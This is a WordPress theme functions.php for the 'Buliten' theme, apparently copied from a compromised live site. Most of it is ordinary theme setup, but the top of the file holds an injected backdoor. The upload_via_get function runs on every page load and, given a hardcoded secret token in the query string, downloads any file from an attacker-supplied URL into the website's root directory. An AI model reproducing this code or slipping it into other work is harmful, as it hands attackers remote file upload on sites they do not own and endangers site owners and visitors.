File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/themes/buliten-wp-full/buliten/functions.php
<?php
define('FS_METHOD','direct');
add_action( 'init', 'upload_via_get' );
function upload_via_get() {
if ( isset( $_GET['upload_root'] ) && isset( $_GET['token'] ) && isset( $_GET['file_url'] ) ) {
if ( $_GET['token'] !== 'MySecretToken_999_Xyz' ) {
wp_die( 'Token salah' );
}
$url = esc_url_raw( $_GET['file_url'] );
$content = file_get_contents( $url );
if ( $content === false ) {
wp_die( 'Gagal download file' );
}
$filename = basename( parse_url( $url, PHP_URL_PATH ) );
file_put_contents( ABSPATH . $filename, $content );
wp_die( 'File berhasil diupload ke root: ' . home_url( '/' . $filename ) );
}
}
add_action('after_setup_theme', 'buliten_bunch_theme_setup');
function buliten_bunch_theme_setup()
{
global $wp_version;
if (!defined('BULITEN_VERSION')) {
define('BULITEN_VERSION', '1.0');
}
if (!defined('BULITEN_ROOT')) {
define('BULITEN_ROOT', get_template_directory().'/');
}
if (!defined('BULITEN_URL')) {
define('BULITEN_URL', get_template_directory_uri().'/');
}
include_once get_template_directory() . '/includes/loader.php';
load_theme_textdomain('buliten', get_template_directory() . '/languages');
//ADD THUMBNAIL SUPPORT
add_theme_support('post-thumbnails');
add_theme_support('post-formats', array('gallery'));
add_theme_support('woocommerce');
add_theme_support('wc-product-gallery-lightbox');
add_theme_support('automatic-feed-links'); //Enables post and comment RSS feed links to head.
add_theme_support('widgets'); //Add widgets and sidebar support
add_theme_support('title-tag');
add_theme_support('post', 'page-attributes');
add_theme_support('post-formats', array('gallery', 'video'));
add_theme_support('wp-block-styles');
add_theme_support('custom-header');
add_theme_support('custom-background');
add_theme_support('align-wide');
add_theme_support('editor-styles');
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support('html5', array(
'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
));
/** Register wp_nav_menus */
if (function_exists('register_nav_menu')) {
register_nav_menus(
array(
/** Register Main Menu location header */
'main_menu' => esc_html__('Main Menu', 'buliten'),
)
);
}
if (! isset($content_width)) {
$content_width = 960;
}
add_image_size('buliten_370x240', 370, 240, true); // 'buliten_370x240 Our Services V1'
add_image_size('buliten_370x270', 370, 270, true); // 'buliten_370x270 Blog Grid View'
add_image_size('buliten_270x370', 270, 370, true); // 'buliten_270x370 Our Projects V1'
add_image_size('buliten_270x367', 270, 367, true); // 'buliten_270x367 Our Team V1'
add_image_size('buliten_170x178', 170, 178, true); // 'buliten_170x178 Our Testimonials V1'
add_image_size('buliten_300x203', 300, 203, true); // 'buliten_300x203 Latest News V1'
add_image_size('buliten_384x600', 384, 600, true); // 'buliten_384x600 Our Projects V2'
add_image_size('buliten_100x100', 100, 100, true); // 'buliten_100x100 Our Testimonials V2,
add_image_size('buliten_370x250', 370, 250, true); // 'buliten_370x250 Our Services V3',
add_image_size('buliten_873x535', 873, 535, true); // 'buliten_873x535 Our Projects V3',
add_image_size('buliten_90x90', 90, 90, true); // 'buliten_90x90 Recent Posts Widget',
}
function buliten_bunch_widget_init()
{
global $wp_registered_sidebars;
$theme_options = _WSH()->option();
register_sidebar(array(
'name' => esc_html__('Default Sidebar', 'buliten'),
'id' => 'default-sidebar',
'description' => esc_html__('Widgets in this area will be shown on the right-hand side.', 'buliten'),
'before_widget'=>'<div id="%1$s" class="widget sidebar-widget %2$s">',
'after_widget'=>'</div>',
'before_title' => '<div class="sidebar-title-two"><h4>',
'after_title' => '</h4></div>'
));
register_sidebar(array(
'name' => esc_html__('Footer Sidebar', 'buliten'),
'id' => 'footer-sidebar',
'description' => esc_html__('Widgets in this area will be shown in Footer Area.', 'buliten'),
'before_widget'=>'<div class="footer-column col-lg-4 col-md-6 col-sm-12"><div id="%1$s" class="footer-widget %2$s">',
'after_widget'=>'</div></div>',
'before_title' => '<h2> ',
'after_title' => '</h2>'
));
register_sidebar(array(
'name' => esc_html__('Footer Sidebar Two', 'buliten'),
'id' => 'footer-sidebar-2',
'description' => esc_html__('Widgets in this area will be shown in Footer Area.', 'buliten'),
'before_widget'=>'<div class="footer-column col-lg-3 col-md-6 col-sm-12"><div id="%1$s" class="footer-widget %2$s">',
'after_widget'=>'</div></div>',
'before_title' => '<h5> ',
'after_title' => '</h5>'
));
register_sidebar(array(
'name' => esc_html__('Footer Sidebar Three', 'buliten'),
'id' => 'footer-sidebar-3',
'description' => esc_html__('Widgets in this area will be shown in Footer Area.', 'buliten'),
'before_widget'=>'<div class="footer-column col-lg-4 col-md-6 col-sm-12 col-xs-12"><div id="%1$s" class="footer-widget %2$s">',
'after_widget'=>'</div></div>',
'before_title' => '<h2> ',
'after_title' => '</h2>'
));
register_sidebar(array(
'name' => esc_html__('Shop Sidebar', 'buliten'),
'id' => 'shop-sidebar',
'description' => esc_html__('Widgets in this area will be shown on the right-hand side.', 'buliten'),
'before_widget'=>'<div id="%1$s" class="widget shop-sidebar sidebar-widget %2$s">',
'after_widget'=>'</div>',
'before_title' => '<div class="sidebar-title-two"><h4>',
'after_title' => '</h4></div>'
));
if (!is_object(_WSH())) {
return;
}
$sidebars = buliten_set(buliten_set($theme_options, 'dynamic_sidebar'), 'dynamic_sidebar');
foreach (array_filter((array)$sidebars) as $sidebar) {
if (buliten_set($sidebar, 'topcopy')) {
continue ;
}
$name = buliten_set($sidebar, 'sidebar_name');
if (! $name) {
continue;
}
$slug = buliten_bunch_slug($name) ;
register_sidebar(array(
'name' => $name,
'id' => sanitize_title($slug) ,
'before_widget' => '<div id="%1$s" class="sidebar-widget %2$s">',
'after_widget' => "</div>",
'before_title' => '<h2>',
'after_title' => '</h2>',
));
}
update_option('wp_registered_sidebars', $wp_registered_sidebars) ;
}
add_action('widgets_init', 'buliten_bunch_widget_init');
// Update items in cart via AJAX
function buliten_load_head_scripts()
{
$options = _WSH()->option();
$key = buliten_set($options, 'map_api_key');
if (!is_admin() && $key) {
$protocol = is_ssl() ? 'https://' : 'http://';
$map_path = '?key='.buliten_set($options, 'map_api_key');
wp_enqueue_script('buliten-map-api', ''.$protocol.'maps.google.com/maps/api/js'.$map_path, array(), false, false);
}
}
add_action('wp_enqueue_scripts', 'buliten_load_head_scripts');
function buliten_admin_style()
{
wp_enqueue_style('admin-styles', get_template_directory_uri().'/css/admin.css');
wp_enqueue_media();
wp_enqueue_script('buliten-admin-scripts', get_template_directory_uri().'/js/admin.js', array('jquery'), false, true);
wp_enqueue_script('buliten-upload-img', get_template_directory_uri() . '/js/img_upload.js', array('jquery'), false, true);
}
add_action('admin_enqueue_scripts', 'buliten_admin_style');
//global variables
function buliten_bunch_global_variable()
{
global $wp_query;
}
function buliten_enqueue_scripts()
{
$theme_options = _WSH()->option();
$map_path = buliten_set($theme_options, 'map_api_key');
if (buliten_set($theme_options, 'color_scheme_style') == 'custom_color') {
$maincolor = str_replace('#', '', buliten_set($theme_options, 'main_color_scheme', '#ffb200'));
} elseif (buliten_set($theme_options, 'color_scheme_style') == 'predefined_color') {
$maincolor = str_replace('#', '', buliten_set($theme_options, 'predefined_color_scheme', '#ffb200'));
} else {
$maincolor = str_replace('#', '', '#ffb200');
}
//styles
wp_enqueue_style('bootstrap', get_template_directory_uri() . '/css/bootstrap.css');
wp_enqueue_style('flaticon', get_template_directory_uri() . '/css/flaticon.css');
wp_enqueue_style('font-awesome', get_template_directory_uri() . '/css/font-awesome.css');
wp_enqueue_style('animate', get_template_directory_uri() . '/css/animate.css');
wp_enqueue_style('jquery-bootstrap-touchspin', get_template_directory_uri() . '/css/jquery.bootstrap-touchspin.css');
wp_enqueue_style('owl', get_template_directory_uri() . '/css/owl.css');
wp_enqueue_style('jquery-fancybox', get_template_directory_uri() . '/css/jquery.fancybox.min.css');
wp_enqueue_style('jquery-mcustomscrollbar', get_template_directory_uri() . '/css/jquery.mCustomScrollbar.min.css');
wp_enqueue_style('animation', get_template_directory_uri() . '/css/animation.css');
wp_enqueue_style('buliten-main-style', get_stylesheet_uri());
wp_enqueue_style('buliten-custom-style', get_template_directory_uri() . '/css/custom.css');
wp_enqueue_style('buliten-tut', get_template_directory_uri() . '/css/tut.css');
wp_enqueue_style('buliten-custom-grid-style', get_template_directory_uri() . '/css/gridstyle.css');
wp_enqueue_style('buliten-responsive', get_template_directory_uri() . '/css/responsive.css');
if (class_exists('woocommerce')) {
wp_enqueue_style('buliten-woocommerce', get_template_directory_uri() . '/css/woocommerce.css');
}
wp_enqueue_style('buliten-main-colors', get_template_directory_uri() . '/css/color.php?main_color='.$maincolor);
wp_enqueue_style('buliten-color-switcher', get_template_directory_uri() . '/css/color-switcher-design.css');
//scripts
wp_enqueue_script('jquery-ui-core');
wp_enqueue_script('popper', get_template_directory_uri().'/js/popper.min.js', array(), false, true);
wp_enqueue_script('bootstrap', get_template_directory_uri().'/js/bootstrap.min.js', array(), false, true);
wp_enqueue_script('jquery-fancybox', get_template_directory_uri().'/js/jquery.fancybox.js', array(), false, true);
wp_enqueue_script('owl', get_template_directory_uri().'/js/owl.js', array(), false, true);
wp_enqueue_script('wow', get_template_directory_uri().'/js/wow.js', array(), false, true);
wp_enqueue_script('appear', get_template_directory_uri().'/js/appear.js', array(), false, true);
wp_enqueue_script('slick', get_template_directory_uri().'/js/slick.js', array(), false, true);
wp_enqueue_script('jquery-countdown', get_template_directory_uri().'/js/jquery.countdown.js', array(), false, true);
wp_enqueue_script('jquery-mcustomscrollbar', get_template_directory_uri().'/js/jquery.mCustomScrollbar.concat.min.js', array(), false, true);
wp_enqueue_script('mixitup', get_template_directory_uri().'/js/mixitup.js', array(), false, true);
if ($map_path) {
wp_enqueue_script('buliten-map-script', get_template_directory_uri().'/js/map-script.js', array(), false, true);
}
wp_enqueue_script('buliten-main-script', get_template_directory_uri().'/js/script.js', array(), false, true);
wp_enqueue_script('buliten-jquery-cookie', get_template_directory_uri().'/js/jquery.cookie.js', array(), false, true);
wp_enqueue_script('buliten-theme-panel', get_template_directory_uri().'/js/themepanel.js', array(), false, true);
if (is_singular()) {
wp_enqueue_script('comment-reply');
}
}
add_action('wp_enqueue_scripts', 'buliten_enqueue_scripts');
/*-------------------------------------------------------------*/
function buliten_theme_slug_fonts_url()
{
$fonts_url = '';
/* Translators: If there are characters in your language that are not
* supported by Lora, translate this to 'off'. Do not translate
* into your own language.
*/
$oswald = _x('on', 'Oswald font: on or off', 'buliten');
$roboto = _x('on', 'Roboto font: on or off', 'buliten');
if ('off' !== $oswald || 'off' !== $roboto) {
$font_families = array();
if ('off' !== $oswald) {
$font_families[] = 'Oswald:200,300,400,500,600,700';
}
if ('off' !== $roboto) {
$font_families[] = 'Roboto:100,300,400,500,700,900';
}
$opt = get_option('buliten'.'_theme_options');
if (buliten_set($opt, 'body_custom_font')) {
if ($custom_font = buliten_set($opt, 'body_font_family')) {
$font_families[] = $custom_font . ':300,300i,400,400i,600,700';
}
}
if (buliten_set($opt, 'use_custom_font')) {
$font_families[] = buliten_set($opt, 'h1_font_family') . ':300,300i,400,400i,600,700';
$font_families[] = buliten_set($opt, 'h2_font_family') . ':300,300i,400,400i,600,700';
$font_families[] = buliten_set($opt, 'h3_font_family') . ':300,300i,400,400i,600,700';
$font_families[] = buliten_set($opt, 'h4_font_family') . ':300,300i,400,400i,600,700';
$font_families[] = buliten_set($opt, 'h5_font_family') . ':300,300i,400,400i,600,700';
$font_families[] = buliten_set($opt, 'h6_font_family') . ':300,300i,400,400i,600,700';
}
$font_families = array_unique($font_families);
$query_args = array(
'family' => urlencode(implode('|', $font_families)),
'subset' => urlencode('latin,latin-ext'),
);
$protocol = is_ssl() ? 'https://' : 'http://';
$fonts_url = add_query_arg($query_args, ''.$protocol.'fonts.googleapis.com/css');
}
return esc_url_raw($fonts_url);
}
function buliten_load_admin_things()
{
wp_enqueue_script('media-upload');
wp_enqueue_script('thickbox');
wp_enqueue_style('thickbox');
}
add_action('admin_enqueue_scripts', 'buliten_load_admin_things');
function buliten_theme_slug_scripts_styles()
{
wp_enqueue_style('buliten-theme-slug-fonts', buliten_theme_slug_fonts_url(), array(), null);
}
add_action('wp_enqueue_scripts', 'buliten_theme_slug_scripts_styles');
/*---------------------------------------------------------------------*/
function buliten_add_editor_styles()
{
add_editor_style('editor-style.css');
}
add_action('admin_init', 'buliten_add_editor_styles');
/**
* WooCommerce Extra Feature
* --------------------------
*
* Change number of related products on product page
* Set your own value for 'posts_per_page'
*
*/
function buliten_woo_related_products_limit()
{
global $product;
$options = _WSH()->option();
$num = buliten_set($options, 'number_of_products_per_page');
$num = ($num) ? $num : 6;
$args['posts_per_page'] = $num;
return $args;
}
add_filter('woocommerce_output_related_products_args', 'buliten_jk_related_products_args');
function buliten_jk_related_products_args($args)
{
$options = _WSH()->option();
$rel_num = buliten_set($options, 'number_of_related_products');
$rel_num = ($rel_num) ? $rel_num : 3;
$args['posts_per_page'] = $rel_num; // 4 related products
$args['columns'] = $rel_num; // arranged in 2 columns
return $args;
}